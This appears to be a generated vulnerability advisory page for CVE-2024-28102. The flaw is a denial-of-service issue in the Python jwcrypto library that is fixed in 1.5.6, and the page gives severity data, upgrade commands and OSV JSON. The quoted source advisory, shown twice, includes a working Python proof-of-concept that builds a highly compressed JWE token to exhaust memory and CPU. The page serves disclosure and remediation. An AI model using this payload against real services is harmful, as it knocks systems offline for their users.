CVE-2024-28102: Jwcrypto JWCrypto Vulnerable To JWT Bomb Vulnerability

MODERATE
Advisory Identifier: GHSA-j857-7rvv-vj97
CVSS 6.8
CWE-770
Published
Advisory Summary

CVE-2024-28102 is a MODERATE (CVSS 6.8) jwcrypto vulnerable to jwt bomb vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Jwcrypto libraries in the PyPI ecosystem. The issue involves jwcrypto vulnerable to jwt bomb attack in `deserialize` function. Remediation is available by upgrading affected packages to version 1.5.6.

CVE-2024-28102 at a Glance

CVE Identifier CVE-2024-28102
GHSA Identifier GHSA-j857-7rvv-vj97
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Jwcrypto
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2024-28102

To remediate this vulnerability, upgrade all affected Jwcrypto dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jwcrypto fixed: 1.5.6
pip install jwcrypto>=1.5.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show jwcrypto

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-28102, inspect your installed packages using pip:

pip show jwcrypto

Analyze the terminal output to locate any version of Jwcrypto in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.6), your application is affected.

Note: The pip show jwcrypto command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Jwcrypto, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)

CVE-2024-28102 Affected Jwcrypto Versions

1 component(s)
Fixed Versions:
1.5.6
Product / Package Ecosystem Affected Versions Fixed Version
jwcrypto
PyPI
< 1.5.6
1.5.6

References

Frequently Asked Questions

What is CVE-2024-28102?
CVE-2024-28102 is a security vulnerability in Jwcrypto involving JWCrypto vulnerable to JWT bomb Attack in `deserialize` function under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Jwcrypto versions are affected?
Affected versions include releases prior to 1.5.6 across affected packages: jwcrypto.
What version fixes CVE-2024-28102?
Upgrading to 1.5.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jwcrypto affected?
Yes, jwcrypto is affected in releases prior to 1.5.6. Upgrade your dependency to 1.5.6 or later.
What is the CVSS score of CVE-2024-28102?
CVE-2024-28102 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H.
What CWE is associated with CVE-2024-28102?
CVE-2024-28102 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check PyPI dependencies for CVE-2024-28102?
Run the dependency tree command: 'pip show jwcrypto'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j857-7rvv-vj97",
  "modified" : "2025-12-22T18:42:18Z",
  "published" : "2024-03-06T20:00:56Z",
  "aliases" : [ "CVE-2024-28102" ],
  "summary" : "JWCrypto vulnerable to JWT bomb Attack in `deserialize` function",
  "details" : "## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n<img width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\">\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jwcrypto"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28102"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/latchset/jwcrypto"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2024/09/msg00026.html"
  }, {
    "type" : "WEB",
    "url" : "https://www.vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-06T20:00:56Z",
    "nvd_published_at" : "2024-03-21T02:52:23Z"
  }
}